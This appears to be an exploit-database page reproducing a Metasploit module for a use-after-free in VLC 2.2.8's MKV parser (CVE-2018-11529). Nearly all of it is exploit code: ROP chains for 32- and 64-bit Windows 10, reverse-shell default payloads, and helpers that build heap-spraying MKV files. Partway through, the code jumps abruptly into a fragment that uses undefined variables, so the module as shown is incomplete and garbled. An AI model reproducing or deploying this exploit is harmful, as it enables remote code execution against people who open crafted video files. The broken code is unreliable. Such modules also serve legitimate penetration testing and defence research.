Vlc media player mkv useafterfree (metasploit) Vulnerability / Exploit
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Exploits / Vulnerability Discovered : 2018-10-16 |
Type : local |
Platform : windows
[+] Code ...
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit
Rank = GreatRanking
include Msf::Exploit::FILEFORMAT
def initialize(info = {})
super(update_info(info,
'Name' => 'VLC Media Player MKV Use After Free',
'Description' => %q(
This module exploits a use after free vulnerability in
VideoLAN VLC =< 2.2.8. The vulnerability exists in the parsing of
MKV files and affects both 32 bits and 64 bits.
In order to exploit this, this module will generate two files:
The first .mkv file contains the main vulnerability and heap spray,
the second .mkv file is required in order to take the vulnerable code
path and should be placed under the same directory as the .mkv file.
This module has been tested against VLC v2.2.8. Tested with payloads
windows/exec, windows/x64/exec, windows/shell/reverse_tcp,
windows/x64/shell/reverse_tcp. Meterpreter payloads if used can
cause the application to crash instead.
),
'License' => MSF_LICENSE,
'Author' => [
'Eugene Ng - GovTech', # Vulnerability Discovery, Exploit
'Winston Ho - GovTech', # Metasploit Module
],
'References' =>
[
['CVE', '2018-11529'],
['URL', 'https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-11529'],
['EDB', '44979']
],
'Payload' =>
{
'Space' => 0x300,
'DisableNops' => true
},
'Platform' => 'win',
'Targets' => [
[
'VLC 2.2.8 on Windows 10 x86',
{
'Platform' => 'win',
'Arch' => [ARCH_X86],
'Ret' => 0x22000020,
'ExitPointer' => 0x00411364,
'DefaultOptions' => {'PAYLOAD' => 'windows/shell/reverse_tcp'},
'RopChain' => [
0x0040ae91, # XCHG EAX,ESP # ADD BYTE PTR [ECX],AL # MOV EAX,DWORD PTR [EAX] # RET
0x00407086, # POP EDI # RETN [vlc.exe]
0x00000040, # 0x00000040-> edx
0x0040b058, # MOV EDX,EDI # POP ESI # POP EDI # POP EBP # RETN [vlc.exe]
0x41414141, # Filler (compensate)
0x41414141, # Filler (compensate)
0x41414141, # Filler (compensate)
0x004039c7, # POP EAX # POP ECX # RETN [vlc.exe]
0x22000030, # Filler (compensate) for rol [eax] below
0x41414141, # Filler (compensate)
0x004039c8, # POP ECX # RETN [vlc.exe]
0x0041193d, # &Writable location [vlc.exe]
0x00409d18, # POP EBX # RETN [vlc.exe]
0x00000201, # 0x00000201-> ebx
0x0040a623, # POP EBP # RETN [vlc.exe]
0x0040a623, # POP EBP # RETN [vlc.exe]
0x004036CB, # POP ESI # RETN [vlc.exe]
0x0040848c, # JMP ds:[EAX * 4 + 40e000] [vlc.exe]
0x00407086, # POP EDI # RETN [vlc.exe]
0x0040ae95, # MOV EAX,DWORD PTR [EAX] # RETN [vlc.exe]
0x0040af61, # PUSHAD # ROL BYTE PTR [EAX], 0FFH # LOOPNE VLC+0XAEF8 (0040AEF8)
0x22000020 + 0x5e0, # Shellcode
]
}
],
[
'VLC 2.2.8 on Windows 10 x64',
{
'Platform' => 'win',
'Arch' => [ARCH_X64],
'Ret' => 0x40000040,
'ExitPointer' => 0x00412680,
'DefaultOptions' => {'PAYLOAD' => 'windows/x64/shell/reverse_tcp'},
'RopChain' => [
0x004037ac, # XCHG EAX,ESP # ROL BL,90H # CMP WORD PTR [RCX],5A4DH # JE VLC+0X37C0 (00000000`004037C0) # XOR EAX,EAX # RET
0x00403b60, # POP RCX # RET
0x40000040, # lpAddress
0x004011c2, # POP RDX # RET
0x00001000, # dwSize
0x0040ab70, # JMP VirtualProtect
0x40000040 + 0x700, # Payload
]
}
]
],
'Privileged' => false,
'DisclosureDate' => 'May 24 2018',
'DefaultTarget' => 1))
register_options [
OptString.new('MKV_ONE', [false, 'mkv that should be opened', '']),
OptString.new('MKV_TWO', [false, 'The auxiliary file name.', ''])
]
deregister_options('FILENAME')
end
def to_bytes(num, length, endianess = 'big')
h = format('%<num>x', num: num)
s = ('0' * (h.length % 2) + h).rjust(length * 2)
s = s.scan(/.{2}/).map! { |x| x.hex.chr }.join
endianess == 'big' ? s : s.reverse
end
def data_size(number, numbytes = (1...9))
# encode 'number' as an EBML variable-size integer.
numbytes = [numbytes] if numbytes.is_a?(Integer)
numbytes.each do |size|
bits = size * 7
return to_bytes(((1 << bits) + number), size) if number <= (1 << bits) - 2
end
fail_with(Failure::BadConfig, "Can't store #{number} in #{size} bytes")
end
attached_files << header << file_name << mime << uid << data
end
attachments = "\x19\x41\xa4\x69" << data_size(attached_files.length) << attached_files
# Cluster
pay_load = build_data(0xfff000)
# Since the payload is simply repeated payload blocks appended to cluster then segment_data,
# we return the simple_block and the count to process later instead.
# This should result is overall lowered memory usage during payload generation
simple_block = "\xa3" << data_size(pay_load.length) << pay_load
simple_blocks_len = simple_block.length * count
time_code = "\xe7" << data_size(1) << "\x00"
cluster = "\x1f\x43\xb6\x75" << data_size(time_code.length + simple_blocks_len) << time_code